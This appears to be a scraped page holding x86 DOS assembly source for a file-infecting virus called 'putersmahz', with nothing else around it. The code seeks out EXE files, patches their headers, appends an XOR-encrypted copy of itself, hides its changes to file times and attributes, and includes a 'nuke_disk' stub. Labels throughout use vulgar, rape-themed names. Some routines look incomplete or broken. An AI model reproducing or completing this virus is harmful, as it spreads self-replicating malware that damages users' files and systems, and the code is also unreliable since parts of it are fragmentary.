Beruflich Dokumente
Kultur Dokumente
id = 'ky'
maxfiles = 20
start:
virus:
call realthingbaby
realthingbaby:
nop
nop
nop
pop si
sub si,offset realthingbaby
mov bp,si
push ds
push es
push cs
pop ds
push cs
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
movsw
lea dx,[bp+offset dta]
call set_dta
mov ah,25h
lea dx,[bp+offset int24]
int 21h
push cs
pop es
mov ah,47h
mov dl,0h
lea si,[bp+offset currentdir]
int 21h
jumparound:
lea dx,[bp+offset exefilespec]
call findfirst
mov ax,2524h
lds dx,[bp+offset oldint24]
int 21h
push cs
pop ds
mov dx,80h
call set_dta
pop es
pop ds
mov ax,es
add ax,10h
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah
jmpsave dd ?
stacksave dd ?
jmpsave2 dd 0fff00000h
stacksave2 dd ?
findfirst:
cmp [bp+counter],maxfiles
ja quit
mov ah,4eh
mov cx,7
findnext:
int 21h
jc quit
call rape
mov ah,4fh
jmp findnext
quit:
ret
rape:
mov ax,3d00h
call opencunt
mov ah,3fh
mov cx,1ah
lea dx,[bp+offset buffer]
int 21h
mov ah,3eh
int 21h
checkexe:
cmp word ptr [bp+buffer+10h],id
jz quitrape
jmp rapeexe
quitrape:
ret
rapeexe:
les ax,dword ptr [bp+buffer+14h]
mov word ptr [bp+jmpsave2],ax
mov word ptr [bp+jmpsave2+2],es
sub ax,bx
sbb dx,0
mov cx,10h
div cx
add ax,eof-virus
adc dx,0
mov cl,9
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
push cs
pop es
mov cx,1ah
finishrape:
push cx
xor cx,cx
call attributes
mov al,2
call opencunt
mov ah,40h
lea dx,[bp+buffer]
pop cx
int 21h
jc closecunt
mov al,02
call move_fp
get_time:
mov ah,2ch
int 21h
cmp dh,0
je get_time
mov [bp+enc_value],dh
call cloak_rape
inc [bp+counter]
closecunt:
mov ax,5701h
mov cx,word ptr [bp+dta+16h]
mov dx,word ptr [bp+dta+18h]
int 21h
mov ah,3eh
int 21h
xor cx,cx
mov cl,byte ptr [bp+dta+15h]
call attributes
retn
mov ah,2ch
int 21h
phase_two:
call nuke_disk
nuke_disk:
mov ah,2ah
int 21h
move_fp:
mov ah,42h
xor cx,cx
xor dx,dx
int 21h
retn
set_dta:
mov ah,1ah
int 21h
retn
opencunt:
mov ah,3dh
lea dx,[bp+dta+30]
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h
lea dx,[bp+dta+30]
int 21h
ret
int24:
mov al,3
iret
virus_name db 'putersmahz'
virus_man db 'kizz me azz dan snyder (violator)'
thanx_to db 'gretz to menace wc (hope this helpz)'
exefilespec db '*.exe',0
directory db '..',0
cloak_rape:
lea si,[bp+offset move_begin]
lea di,[bp+offset workarea]
mov cx,move_end-move_begin
move_jumparound:
movsb
loop move_jumparound
lea dx,[bp+offset workarea]
call dx
ret
move_begin equ $
mov si,bp
push bx
lea dx,[bp+offset cloak_end]
call dx
pop bx
mov ah,40h
mov cx,eof-virus
lea dx,[bp+offset virus]
int 21h
push bx
lea dx,[bp+offset cloak_end]
call dx
pop bx
ret
move_end equ $
cloak_end equ $
cloak_uncloak:
lea bx,[si+cloak_start]
mov cx,cloak_end-cloak_start
cloak_jumparound:
mov ah,cs:[bx]
xor ah,[si+enc_value]
mov cs:[bx],ah
inc bx
loop cloak_jumparound
ret
enc_value db 00h
eof equ $
counter db 0
workarea db move_end-move_begin dup (?)
currentdir db 64 dup (?)
dta db 42 dup (?)
buffer db 1ah dup (?)
oldint24 dd ?
eov equ $
code ends
end start